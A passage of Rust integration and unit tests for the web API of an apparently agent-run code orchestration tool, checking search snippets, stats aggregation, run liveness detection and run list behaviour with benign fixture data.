10073 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
10074 "{v}"
10075 );
10076 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
10077 assert_eq!(
10078 flat, "The Quokka leaks across threads",
10079 "whitespace is collapsed"
10080 );
10081
10082 let both = f
10084 .get("/api/search?scope=runs&q=MOBILE%20quokka")
10085 .await
10086 .json();
10087 assert_eq!(both["total"], 1, "{both}");
10088 let neither = f
10089 .get("/api/search?scope=runs&q=quokka%20zebra")
10090 .await
10091 .json();
10092 assert_eq!(neither["total"], 0, "{neither}");
10093 let stmt = f
10095 .get("/api/search?scope=runs&q=mobile%20first")
10096 .await
10097 .json();
10098 assert_eq!(stmt["total"], 2, "{stmt}");
10099 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
10100 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
10101 }
10102
10103 #[test]
10104 fn snippet_ignores_terms_longer_than_the_field() {
10105 let terms = ["ok".to_owned(), "elephant".to_owned()];
10106 let parts = snippet_of("ok", &terms);
10107 assert_eq!(
10108 parts,
10109 vec![SnippetPart {
10110 text: "ok".to_owned(),
10111 hit: true
10112 }]
10113 );
10114 }
10115
10116 #[test]
10117 fn snippet_marks_matches_longer_than_the_window() {
10118 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
10119 let hit_len = |parts: &[SnippetPart]| -> usize {
10120 parts
10121 .iter()
10122 .filter(|p| p.hit)
10123 .map(|p| p.text.chars().count())
10124 .sum()
10125 };
10126 let total =
10127 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
10128
10129 let long = "a".repeat(120);
10130 let parts = snippet_of(&long, std::slice::from_ref(&long));
10131 assert!(hit_len(&parts) > 0, "{parts:?}");
10132 assert!(total(&parts) <= cap);
10133
10134 let ja = "あ".repeat(130);
10135 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
10136 assert!(hit_len(&parts) > 0, "{parts:?}");
10137 assert!(total(&parts) <= cap);
10138
10139 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
10141 let term = format!("ab{}", "c".repeat(100));
10142 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
10143 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
10144 assert!(total(&parts) <= cap);
10145
10146 let text = format!("{}z", "a".repeat(119));
10148 let parts = snippet_of(&text, &["a".repeat(120)]);
10149 assert_eq!(hit_len(&parts), 0, "{parts:?}");
10150 }
10151
10152 #[tokio::test]
10153 async fn search_caps_hits_and_snippet_length() {
10154 let f = Fixture::start().await;
10155 let runs = f.runs();
10156 for n in 0..(SEARCH_MAX_HITS + 5) {
10157 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
10158 }
10159 let v = f.get("/api/search?scope=runs&q=web").await.json();
10160 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
10161 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
10162 assert_eq!(v["truncated"], true);
10163 assert!(
10165 v["hits"]
10166 .as_array()
10167 .unwrap()
10168 .iter()
10169 .all(|h| h["run"]["status"] == "merged")
10170 );
10171
10172 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
10173 let parts = snippet_of(&long, &["needle".to_owned()]);
10174 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
10175 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
10176 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
10177 }
10178
10179 #[tokio::test]
10180 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
10181 let f = Fixture::start().await;
10182 let queue = f.queue();
10183 let mut t = Task::new(
10184 "short title".to_owned(),
10185 "line one\nthe hidden Armadillo detail".to_owned(),
10186 PathBuf::from("/repo/magi"),
10187 Source::Agent {
10188 run: "r1".to_owned(),
10189 node: "chat".to_owned(),
10190 },
10191 );
10192 t.last_error = Some("disk full on /tmp".to_owned());
10193 queue.put(&mut t).expect("file the task");
10194
10195 for (q, want) in [
10196 ("armadillo", 1),
10197 ("disk%20FULL", 1),
10198 ("chat", 1),
10199 ("queued", 1),
10200 ("short%20nothing", 0),
10201 ] {
10202 let v = f
10203 .get(&format!("/api/search?scope=tasks&q={q}"))
10204 .await
10205 .json();
10206 assert_eq!(v["total"], want, "{q}: {v}");
10207 }
10208 for bad in [
10209 "/api/search?scope=tasks&q=",
10210 "/api/search?scope=tasks&q=%20",
10211 "/api/search?scope=chats&q=",
10212 "/api/search?scope=chats&q=%20",
10213 "/api/search?scope=nope&q=a",
10214 "/api/search?q=a",
10215 ] {
10216 assert_eq!(f.get(bad).await.status, 400, "{bad}");
10217 }
10218 }
10219
10220 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
10222 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
10223 .expect("seat value");
10224 let turns: Vec<serde_json::Value> = turns
10225 .iter()
10226 .map(|(who, body)| {
10227 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
10228 })
10229 .collect();
10230 let doc = serde_json::json!({
10231 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
10232 "status": status, "turns": turns,
10233 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
10234 "seat": seat,
10235 });
10236 let dir = f.home.path().join("talks");
10237 std::fs::create_dir_all(&dir).expect("talks dir");
10238 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
10239 }
10240
10241 #[tokio::test]
10242 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
10243 let f = Fixture::start().await;
10244 write_talk(
10245 &f,
10246 "20260901-000001-aaaa",
10247 "open",
10248 &[
10249 (
10250 "operator",
10251 "\n Why does the Pangolin cache expire?\nsecond line",
10252 ),
10253 ("agent", "Because the TTL is thirty seconds."),
10254 ],
10255 );
10256 write_talk(
10257 &f,
10258 "20260901-000002-bbbb",
10259 "closed",
10260 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
10261 );
10262 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
10263
10264 let search = |q: &'static str| {
10265 let f = &f;
10266 async move {
10267 f.get(&format!("/api/search?scope=chats&q={q}"))
10268 .await
10269 .json()
10270 }
10271 };
10272
10273 let v = search("PANGOLIN").await;
10274 assert_eq!(v["scope"], "chats");
10275 assert_eq!(v["total"], 1, "{v}");
10276 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
10277 assert_eq!(v["hits"][0]["field"], "title");
10278 assert_eq!(v["unreadable"], 1, "{v}");
10279 let marked: Vec<&str> = v["hits"][0]["snippet"]
10280 .as_array()
10281 .unwrap()
10282 .iter()
10283 .filter(|p| p["hit"] == true)
10284 .map(|p| p["text"].as_str().unwrap())
10285 .collect();
10286 assert_eq!(marked, ["Pangolin"]);
10287
10288 let v = search("zebra").await;
10290 assert_eq!(v["total"], 1, "{v}");
10291 assert_eq!(v["hits"][0]["field"], "agent");
10292 assert_eq!(search("pangolin%20thirty").await["total"], 1);
10294 assert_eq!(search("pangolin%20zebra").await["total"], 0);
10295 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
10297 assert_eq!(search(q).await["total"], 0, "{q}");
10298 }
10299 assert_eq!(search("second").await["hits"][0]["field"], "operator");
10301 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
10303
10304 let v = f.get("/api/search?scope=nope&q=a").await;
10305 assert_eq!(v.status, 400);
10306 assert!(
10307 v.body.contains("scope must be runs, tasks or chats"),
10308 "{}",
10309 v.body
10310 );
10311 }
10312
10313 #[test]
10314 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
10315 let start = APP_JS
10316 .find("function scheduleSearch(")
10317 .expect("scheduleSearch exists");
10318 let body = &APP_JS[start..];
10319 let body = &body[..body.find("\n}\n").expect("function end")];
10320 assert!(body.contains("s.seq += 1"));
10321 }
10322
10323 #[tokio::test]
10328 async fn stats_runs_unreadable_matches_health() {
10329 let f = Fixture::start().await;
10330 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10331 let broken = f.runs().join("20260902-140502-bad");
10332 std::fs::create_dir_all(&broken).expect("run dir");
10333 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10334
10335 let stats = f.get("/api/stats").await;
10336 let health = f.get("/api/health").await;
10337
10338 assert_eq!(stats.status, 200);
10339 assert_eq!(stats.json()["totals"]["runs"], 1);
10340 assert_eq!(stats.json()["runs_unreadable"], 1);
10341 assert_eq!(
10342 stats.json()["runs_unreadable"],
10343 health.json()["runs_unreadable"],
10344 "the dashboard and /api/health must never disagree about how many \
10345 runs could not be read"
10346 );
10347 }
10348
10349 #[tokio::test]
10350 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
10351 let f = Fixture::start().await;
10352 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10353 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
10354 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
10355
10356 let totals = &f.get("/api/stats").await.json()["totals"];
10357 assert_eq!(totals["runs"], 3);
10358 assert_eq!(totals["merged"], 1);
10359 assert_eq!(totals["stalled"], 1);
10360 assert_eq!(totals["in_progress"], 1);
10361 assert_eq!(totals["blocked"], 0);
10364 assert_eq!(totals["ready"], 0);
10365 }
10366
10367 #[tokio::test]
10368 async fn stats_advisors_report_proposals_and_reflection() {
10369 use crate::advise::{Advice, AdvisorRecord, Reflection};
10370 use crate::verdict::Proposal;
10371
10372 let f = Fixture::start().await;
10373 let mut state = RunState::new(
10374 PathBuf::from("/repo/magi"),
10375 "main".to_owned(),
10376 "0123456789abcdef".to_owned(),
10377 "task".to_owned(),
10378 Config::default(),
10379 );
10380 state.id = "20260902-140501-a".to_owned();
10381 state.status = RunStatus::Merged;
10382 state.advice = Some(Advice {
10383 records: vec![
10384 AdvisorRecord {
10385 seat: "advisor-1".to_owned(),
10386 agent: "alpha".to_owned(),
10387 proposal: Some(Proposal {
10388 approach: "do it".to_owned(),
10389 key_tradeoff: "speed over memory".to_owned(),
10390 risks: Vec::new(),
10391 touches: Vec::new(),
10392 why_not_naive: "breaks under load".to_owned(),
10393 }),
10394 error: None,
10395 duration_ms: 0,
10396 reflection: Reflection::Strong,
10397 },
10398 AdvisorRecord {
10399 seat: "advisor-2".to_owned(),
10400 agent: "alpha".to_owned(),
10401 proposal: None,
10402 error: Some("timed out".to_owned()),
10403 duration_ms: 0,
10404 reflection: Reflection::Absent,
10405 },
10406 ],
10407 synthesis: Some("blended brief".to_owned()),
10408 });
10409 let dir = f.runs().join(&state.id);
10410 std::fs::create_dir_all(&dir).expect("run dir");
10411 std::fs::write(
10412 dir.join("run.json"),
10413 serde_json::to_string_pretty(&state).expect("serialize run"),
10414 )
10415 .expect("write run.json");
10416
10417 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
10418 let alpha = advisors
10419 .as_array()
10420 .expect("an array")
10421 .iter()
10422 .find(|a| a["agent"] == "alpha")
10423 .expect("alpha row");
10424 assert_eq!(alpha["seated"], 2);
10425 assert_eq!(alpha["proposed"], 1);
10426 assert_eq!(alpha["absent"], 1);
10427 assert_eq!(alpha["strong"], 1);
10428 assert_eq!(alpha["faint"], 0);
10429 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
10430 }
10431
10432 #[tokio::test]
10433 async fn stats_release_bumps_split_clean_from_attention() {
10434 use crate::run::ReleaseBump;
10435
10436 let f = Fixture::start().await;
10437
10438 let mut clean = RunState::new(
10439 PathBuf::from("/repo/magi"),
10440 "main".to_owned(),
10441 "0123456789abcdef".to_owned(),
10442 "task".to_owned(),
10443 Config::default(),
10444 );
10445 clean.id = "20260902-140501-a".to_owned();
10446 clean.status = RunStatus::Merged;
10447 clean.release_bump = Some(ReleaseBump {
10448 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
10449 version: Some("1.0.0".to_owned()),
10450 automerge_enabled: true,
10451 merged_directly: false,
10452 local: false,
10453 problem: None,
10454 action_required: None,
10455 });
10456
10457 let mut blocked = RunState::new(
10458 PathBuf::from("/repo/magi"),
10459 "main".to_owned(),
10460 "0123456789abcdef".to_owned(),
10461 "task".to_owned(),
10462 Config::default(),
10463 );
10464 blocked.id = "20260902-140502-b".to_owned();
10465 blocked.status = RunStatus::Merged;
10466 blocked.release_bump = Some(ReleaseBump {
10467 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
10468 version: Some("1.0.1".to_owned()),
10469 automerge_enabled: false,
10470 merged_directly: false,
10471 local: false,
10472 problem: Some("checks red".to_owned()),
10473 action_required: Some("look at the PR".to_owned()),
10474 });
10475
10476 for state in [&clean, &blocked] {
10477 let dir = f.runs().join(&state.id);
10478 std::fs::create_dir_all(&dir).expect("run dir");
10479 std::fs::write(
10480 dir.join("run.json"),
10481 serde_json::to_string_pretty(state).expect("serialize run"),
10482 )
10483 .expect("write run.json");
10484 }
10485
10486 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10487 assert_eq!(bumps["merged"], 2);
10488 assert_eq!(bumps["recorded"], 2);
10489 assert_eq!(bumps["pr_opened"], 2);
10490 assert_eq!(bumps["automerge_enabled"], 1);
10491 assert_eq!(bumps["needs_attention"], 1);
10492 assert_eq!(bumps["clean"], 1);
10493 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
10494 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
10495 }
10496
10497 #[tokio::test]
10498 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
10499 let f = Fixture::start().await;
10500 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10501
10502 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10503 assert_eq!(bumps["merged"], 1);
10504 assert_eq!(bumps["recorded"], 0);
10505 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
10508 assert_eq!(bumps["automerge_rate"], Value::Null);
10511 assert_eq!(bumps["attention_rate"], Value::Null);
10512 }
10513
10514 #[tokio::test]
10515 async fn stats_queue_counts_come_from_the_live_queue() {
10516 let f = Fixture::start().await;
10517 let q = f.queue();
10518 let mut queued = Task::new(
10519 "queued task".to_owned(),
10520 "do it".to_owned(),
10521 PathBuf::from("/repo"),
10522 Source::Human,
10523 );
10524 q.put(&mut queued).expect("put queued");
10525 let mut held = Task::new(
10526 "held task".to_owned(),
10527 "do it later".to_owned(),
10528 PathBuf::from("/repo"),
10529 Source::Human,
10530 );
10531 held.hold_machine(Some("out of attempts".to_owned()));
10532 q.put(&mut held).expect("put held");
10533
10534 let queue = f.get("/api/stats").await.json()["queue"].clone();
10535 assert_eq!(queue["queued"], 1);
10536 assert_eq!(queue["held"], 1);
10537 assert_eq!(queue["running"], 0);
10538 assert_eq!(queue["done"], 0);
10539 assert_eq!(queue["failed"], 0);
10540 assert_eq!(queue["blocked"], 0);
10541 }
10542
10543 #[tokio::test]
10544 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
10545 let f = Fixture::start().await;
10546 let stats = f.get("/api/stats").await;
10547 assert_eq!(stats.status, 200);
10548 assert_eq!(stats.json()["totals"]["runs"], 0);
10549 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
10550 assert_eq!(stats.json()["runs_unreadable"], 0);
10551 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
10552 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
10553 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
10554 assert_eq!(stats.json()["repo"], Value::Null);
10555 }
10556
10557 #[tokio::test]
10558 async fn stats_lists_every_repository_with_runs_recorded() {
10559 let f = Fixture::start().await;
10560 write_run_repo(
10561 &f.runs(),
10562 "20260902-140501-a",
10563 RunStatus::Merged,
10564 "/repos/a",
10565 );
10566 write_run_repo(
10567 &f.runs(),
10568 "20260902-140502-b",
10569 RunStatus::Merged,
10570 "/repos/a",
10571 );
10572 write_run_repo(
10573 &f.runs(),
10574 "20260902-140503-c",
10575 RunStatus::Blocked,
10576 "/repos/b",
10577 );
10578
10579 let stats = f.get("/api/stats").await;
10580 assert_eq!(stats.status, 200);
10581 assert_eq!(stats.json()["totals"]["runs"], 3);
10583 assert_eq!(stats.json()["repo"], Value::Null);
10584
10585 let repos = stats.json()["repos"].clone();
10586 let repos = repos.as_array().unwrap();
10587 assert_eq!(repos.len(), 2);
10588 assert_eq!(repos[0]["repo"], "/repos/a");
10590 assert_eq!(repos[0]["name"], "a");
10591 assert_eq!(repos[0]["runs"], 2);
10592 assert_eq!(repos[1]["repo"], "/repos/b");
10593 assert_eq!(repos[1]["runs"], 1);
10594 }
10595
10596 #[tokio::test]
10597 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
10598 let f = Fixture::start().await;
10599 write_run_repo(
10600 &f.runs(),
10601 "20260902-140501-a",
10602 RunStatus::Merged,
10603 "/repos/a",
10604 );
10605 write_run_repo(
10606 &f.runs(),
10607 "20260902-140502-b",
10608 RunStatus::Blocked,
10609 "/repos/b",
10610 );
10611
10612 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
10613 assert_eq!(stats.status, 200);
10614 assert_eq!(stats.json()["totals"]["runs"], 1);
10615 assert_eq!(stats.json()["totals"]["merged"], 1);
10616 assert_eq!(stats.json()["repo"], "/repos/a");
10617 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
10620 assert_eq!(stats.json()["runs_unreadable"], 0);
10623 }
10624
10625 #[tokio::test]
10626 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
10627 let f = Fixture::start().await;
10628 write_run_repo(
10629 &f.runs(),
10630 "20260902-140501-a",
10631 RunStatus::Merged,
10632 "/repos/a",
10633 );
10634
10635 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
10636 assert_eq!(stats.status, 404);
10637 }
10638
10639 #[tokio::test]
10640 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
10641 let f = Fixture::start().await;
10642 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
10643
10644 let summary = f.get("/api/runs").await.json();
10645 let row = &summary[0];
10646 assert_eq!(row["short"], "a1b2");
10647 assert_eq!(row["status"], "ready");
10648 assert_eq!(row["done"], true);
10649 assert_eq!(row["title"], "Add a web UI");
10650 assert_eq!(row["repo_name"], "magi");
10651 assert_eq!(row["judges"], 3);
10652 assert_eq!(row["winner"], Value::Null);
10653 assert_eq!(row["reviews"], 0);
10654
10655 let detail = f.get("/api/runs/a1b2").await;
10658 assert_eq!(detail.status, 200);
10659 assert_eq!(detail.json()["base_branch"], "main");
10660 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
10661 }
10662
10663 #[tokio::test]
10671 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
10672 let f = Fixture::start().await;
10673
10674 let mut none_run = RunState::new(
10675 PathBuf::from("/repo/magi"),
10676 "main".to_owned(),
10677 "0123456789abcdef".to_owned(),
10678 "Add a web UI".to_owned(),
10679 Config::default(),
10680 );
10681 none_run.id = "20260902-140503-none".to_owned();
10682 none_run.status = RunStatus::Ready;
10683 none_run.merge = Some(crate::run::MergeOutcome {
10684 mode: crate::config::MergeMode::None,
10685 ok: true,
10686 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
10687 empty: false,
10688 });
10689 write_state(&f.runs(), &none_run);
10690
10691 let mut pr_run = RunState::new(
10692 PathBuf::from("/repo/magi"),
10693 "main".to_owned(),
10694 "0123456789abcdef".to_owned(),
10695 "Add a web UI".to_owned(),
10696 Config::default(),
10697 );
10698 pr_run.id = "20260902-140504-prcl".to_owned();
10699 pr_run.status = RunStatus::Ready;
10700 pr_run.merge = Some(crate::run::MergeOutcome {
10701 mode: crate::config::MergeMode::Pr,
10702 ok: false,
10703 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
10704 empty: false,
10705 });
10706 write_state(&f.runs(), &pr_run);
10707
10708 let summary = f.get("/api/runs").await.json();
10709 let rows: std::collections::HashMap<&str, &Value> = summary
10710 .as_array()
10711 .expect("an array")
10712 .iter()
10713 .map(|r| (r["id"].as_str().expect("an id"), r))
10714 .collect();
10715 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
10716 assert_eq!(
10717 rows[none_run.id.as_str()]["unmerged_by_design"],
10718 true,
10719 "a mode-none Ready must be flagged in the list"
10720 );
10721 assert_eq!(
10722 rows[pr_run.id.as_str()]["unmerged_by_design"],
10723 false,
10724 "a Ready reached by a closed pull request is a different case"
10725 );
10726
10727 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
10728 assert_eq!(none_detail["status"], "ready");
10729 assert_eq!(none_detail["unmerged_by_design"], true);
10730
10731 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
10732 assert_eq!(pr_detail["unmerged_by_design"], false);
10733 }
10734
10735 #[tokio::test]
10740 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
10741 let f = Fixture::start().await;
10742 let id = "20260902-140502-bbbb";
10746 let mut state = RunState::new(
10747 PathBuf::from("/repo/magi"),
10748 "main".to_owned(),
10749 "0123456789abcdef".to_owned(),
10750 "Add a web UI".to_owned(),
10751 Config::default(),
10752 );
10753 state.id = id.to_owned();
10754 state.status = RunStatus::Judging;
10755 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
10756 let dir = f.runs().join(id);
10757 std::fs::create_dir_all(&dir).expect("run dir");
10758 std::fs::write(
10759 dir.join("run.json"),
10760 serde_json::to_string_pretty(&state).expect("serialize run"),
10761 )
10762 .expect("write run.json");
10763
10764 let cold = f.get(&format!("/api/runs/{id}")).await.json();
10770 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
10771 assert_eq!(cold["live"], "unknown", "{cold}");
10772
10773 write_daemon(f.home.path(), Timestamp::now());
10776 let warm = f.get(&format!("/api/runs/{id}")).await.json();
10777 assert_eq!(warm["live"], "live", "{warm}");
10778 }
10779
10780 #[tokio::test]
10783 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
10784 let f = Fixture::start().await;
10785 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
10786 let mut state = RunState::new(
10787 PathBuf::from("/repo/magi"),
10788 "main".to_owned(),
10789 "0123456789abcdef".to_owned(),
10790 "Add a web UI".to_owned(),
10791 Config::default(),
10792 );
10793 state.id = id.to_owned();
10794 state.origin = origin;
10795 let mut value = serde_json::to_value(&state).expect("serialize run");
10796 if let Some(schema) = schema {
10797 value["schema"] = serde_json::json!(schema);
10798 value.as_object_mut().unwrap().remove("origin");
10799 }
10800 let dir = f.runs().join(id);
10801 std::fs::create_dir_all(&dir).expect("run dir");
10802 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
10803 };
10804 write(
10805 "20260930-092817-ec34",
10806 Some(crate::run::Origin::from_agent_env(
10807 Some(("4a7b".to_owned(), "chat".to_owned())),
10808 None,
10809 )),
10810 None,
10811 );
10812 write("20260930-092817-0ld1", None, Some(12));
10813
10814 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
10815 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
10816 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
10817
10818 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
10819 assert_eq!(
10820 old["origin_label"], "origin unknown (started before origins were recorded)",
10821 "{old}"
10822 );
10823 assert!(old["origin"].is_null(), "{old}");
10824
10825 let list = f.get("/api/runs").await.json();
10826 let labels: Vec<_> = list
10827 .as_array()
10828 .unwrap()
10829 .iter()
10830 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
10831 .collect();
10832 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
10833 }
10834
10835 #[tokio::test]
10842 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
10843 let f = Fixture::start().await;
10844 let id = "20260922-090000-cccc";
10845 let mut state = RunState::new(
10846 PathBuf::from("/repo/magi"),
10847 "main".to_owned(),
10848 "0123456789abcdef".to_owned(),
10849 "Review only".to_owned(),
10850 Config::default(),
10851 );
10852 state.id = id.to_owned();
10853 state.status = RunStatus::Reviewing;
10854 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
10855 state.driver_pid = Some(std::process::id());
10861 state.driver_started_at = Some(
10862 crate::proc::process_started_at(std::process::id())
10863 .expect("this test process's own start time must be queryable"),
10864 );
10865 let dir = f.runs().join(id);
10866 std::fs::create_dir_all(&dir).expect("run dir");
10867 std::fs::write(
10868 dir.join("run.json"),
10869 serde_json::to_string_pretty(&state).expect("serialize run"),
10870 )
10871 .expect("write run.json");
10872
10873 let detail = f.get(&format!("/api/runs/{id}")).await.json();
10874 assert_eq!(detail["live"], "live", "{detail}");
10875 }
10876
10877 #[tokio::test]
10883 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
10884 let f = Fixture::start().await;
10885 let id = "20260922-090100-dddd";
10886 let mut state = RunState::new(
10887 PathBuf::from("/repo/magi"),
10888 "main".to_owned(),
10889 "0123456789abcdef".to_owned(),
10890 "Review only".to_owned(),
10891 Config::default(),
10892 );
10893 state.id = id.to_owned();
10894 state.status = RunStatus::Reviewing;
10895 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
10896 state.driver_pid = Some(std::process::id());
10901 state.driver_started_at = Some("1".to_owned());
10902 let dir = f.runs().join(id);
10903 std::fs::create_dir_all(&dir).expect("run dir");
10904 std::fs::write(
10905 dir.join("run.json"),
10906 serde_json::to_string_pretty(&state).expect("serialize run"),
10907 )
10908 .expect("write run.json");
10909
10910 let detail = f.get(&format!("/api/runs/{id}")).await.json();
10911 assert_eq!(detail["live"], "dead", "{detail}");
10912 }
10913
10914 #[test]
10918 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
10919 let mk = |id: &str, pid: Option<u32>| {
10920 let mut s = RunState::new(
10921 PathBuf::from("/repo/magi"),
10922 "main".to_owned(),
10923 "0123456789abcdef".to_owned(),
10924 "Add a web UI".to_owned(),
10925 Config::default(),
10926 );
10927 s.id = id.to_owned();
10928 s.driver_pid = pid;
10929 s.driver_started_at = Some("1790000000".to_owned());
10930 s
10931 };
10932 let states = vec![
10933 mk("20260902-140502-aaaa", Some(77)),
10934 mk("20260902-140502-bbbb", Some(77)),
10935 mk("20260902-140502-cccc", Some(77)),
10936 mk("20260902-140502-dddd", None),
10937 ];
10938 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
10939 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
10940 let sup: HashMap<String, String> = [(
10941 "20260902-140502-aaaa".to_owned(),
10942 "20260902-140502-cccc".to_owned(),
10943 )]
10944 .into();
10945
10946 let status_calls = std::cell::Cell::new(0);
10947 let identity_calls = std::cell::Cell::new(0);
10948 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
10949 |_| {
10950 status_calls.set(status_calls.get() + 1);
10951 Some(true)
10952 },
10953 |_| {
10954 identity_calls.set(identity_calls.get() + 1);
10955 Some("1790000000".to_owned())
10956 },
10957 ));
10958 let rows = summarize(
10959 states,
10960 &open,
10961 &claimed,
10962 &sup,
10963 |p| probe.borrow_mut().status(p),
10964 |p| probe.borrow_mut().started_at(p),
10965 );
10966
10967 assert_eq!(status_calls.get(), 1, "one pid, one status query");
10968 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
10969 assert_eq!(rows.len(), 4);
10970 assert!(!rows[0].waiting && rows[1].waiting);
10971 assert_eq!(rows[0].live, crate::run::Liveness::Live);
10972 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
10973 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
10974 assert_eq!(rows[1].superseded_by, None);
10975 }
10976
10977 #[test]
10978 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
10979 let mut state = RunState::new(
10980 PathBuf::from("/repo/magi"),
10981 "main".to_owned(),
10982 "0123456789abcdef".to_owned(),
10983 "Review only".to_owned(),
10984 Config::default(),
10985 );
10986 state.id = "20260922-090200-dead".to_owned();
10987 state.status = RunStatus::Reviewing;
10988 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
10989 .expect("serialize list row");
10990 assert_eq!(row["status"], "reviewing");
10991 assert_eq!(row["live"], "dead", "{row}");
10992 assert!(!row["done"].as_bool().unwrap());
10993 }
10994
10995 #[tokio::test]
10996 async fn the_run_list_is_newest_first_and_honours_a_limit() {
10997 let f = Fixture::start().await;
10998 for id in [
10999 "20260902-140501-aaaa",
11000 "20260902-140502-bbbb",
11001 "20260902-140503-cccc",
11002 ] {
11003 write_run(&f.runs(), id, RunStatus::Merged);
11004 }
11005
11006 let all = f.get("/api/runs").await.json();
11007 let capped = f.get("/api/runs?limit=2").await.json();
11008
11009 assert_eq!(all[0]["id"], "20260902-140503-cccc");
11010 assert_eq!(all.as_array().map(Vec::len), Some(3));
11011 assert_eq!(capped.as_array().map(Vec::len), Some(2));
11012 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
11013 }
11014
11015 #[tokio::test]
11016 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
11017 let f = Fixture::start().await;
11018 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
11019
11020 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
11021
11022 assert_eq!(res.status, 200);
11023 assert!(
11024 res.headers
11025 .contains("content-type: text/plain; charset=utf-8"),
